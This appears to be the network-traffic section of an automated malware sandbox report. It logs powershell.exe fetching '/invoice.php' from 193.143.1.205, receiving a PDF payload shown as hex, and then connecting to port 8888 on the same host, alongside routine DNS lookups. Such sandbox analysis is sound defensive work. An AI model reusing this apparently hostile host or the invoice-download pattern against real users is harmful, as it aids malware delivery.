Jan 11, 2025 00:40:26.908946991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.908958912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.908973932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.908982038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.908983946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.908984900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.908998013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909009933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909014940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.909023046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909034967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909045935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909058094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.909060955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909075975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909084082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.909118891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.909207106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909226894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909239054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909254074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909264088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.909269094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.909291029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.937362909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.940787077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940817118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940831900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940846920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.940851927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940865993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940876961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.940888882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940896034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940901041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940906048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940911055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.940912008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940917969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.940941095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.940995932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.959136963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959144115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959160089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959167957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959182024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959192038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959199905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959201097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.959249973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.959249973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.959495068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959502935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959523916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959530115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959542036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.959542990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959551096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959573030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.959574938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959583998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959604979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959610939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959613085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.959619999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959628105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959640026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959641933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.959650040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.959666967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.959685087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.964790106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.968446970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.993685007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993721008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993752956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993767977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993774891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.993782043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993797064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993809938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993815899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.993840933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993855000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993861914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.993881941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993896008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993900061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.993921995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993938923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.993947029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.993963957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994023085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994034052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994048119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994060993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994075060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994091034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994103909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994170904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994184971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994199991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994211912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994211912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994227886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994239092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994241953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994256973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994266987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994307995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994343042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994359016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994401932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994404078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994412899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994461060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994505882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994534969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994561911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994575977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994581938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994602919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994616985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994621038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994633913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994657040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994693041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994707108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994746923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994750977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994762897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994788885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994802952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994808912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994818926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.994827986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994865894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.994996071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995026112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995040894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995069981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995085001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995094061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995110035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995125055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995131969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995151043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995166063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995168924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995179892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995197058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995202065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995224953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995240927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995260954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995264053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995443106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995472908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995500088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995513916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995513916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995551109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995553017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995568037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995582104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995594025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995595932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995611906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995623112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995631933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995646000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995654106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995672941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995687962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995687962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995702982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995728016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995742083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995744944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995755911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995771885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995780945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995800972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995814085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995815992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995831013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.995851040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.995879889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.996054888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.996084929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.996112108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.996125937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.996130943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.996151924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.996165991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.996167898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.996181965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:26.996206045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:26.998337030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.027553082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027578115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027585030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027597904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027604103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027606964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.027611971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027621984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027643919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.027682066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.027704000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027712107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027725935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027733088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027740002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027751923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027757883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.027759075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027775049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.027792931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.027863979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.027977943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.046189070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046245098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046252012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046266079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046402931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.046437979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046453953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046461105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046473026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046482086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046499014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046505928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046509981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.046511889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046520948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046545029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.046560049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.046571016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.046648026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.080343962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080349922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080363035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080385923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080391884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080424070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080429077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.080446959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.080460072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080468893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080476046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080490112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.080528021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.080605984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080612898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080625057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080631018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080637932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080672026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.080687046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080705881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.080722094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080749989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080756903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:27.080773115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.080806971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:27.237185001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:28.032865047 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:28.037976980 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:28.038109064 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:28.038199902 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:28.043030024 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:28.818696022 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 00:40:28.867878914 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 00:40:29.203326941 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:40:35.898569107 CET	50635	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 00:40:35.898569107 CET	192.168.2.8	1.1.1.1	0xb59b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 00:40:35.908252954 CET	1.1.1.1	192.168.2.8	0xb59b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:40:36.604521036 CET	1.1.1.1	192.168.2.8	0xe5e9	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:40:36.604521036 CET	1.1.1.1	192.168.2.8	0xe5e9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:40:36.604521036 CET	1.1.1.1	192.168.2.8	0xe5e9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:40:36.604521036 CET	1.1.1.1	192.168.2.8	0xe5e9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.42	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:40:36.604521036 CET	1.1.1.1	192.168.2.8	0xe5e9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:40:36.604521036 CET	1.1.1.1	192.168.2.8	0xe5e9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:40:36.604521036 CET	1.1.1.1	192.168.2.8	0xe5e9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:40:36.604521036 CET	1.1.1.1	192.168.2.8	0xe5e9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:40:36.604521036 CET	1.1.1.1	192.168.2.8	0xe5e9	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:41:39.750888109 CET	1.1.1.1	192.168.2.8	0xe03	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:41:39.750888109 CET	1.1.1.1	192.168.2.8	0xe03	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	6220	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:40:25.568970919 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 00:40:26.336685896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:40:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 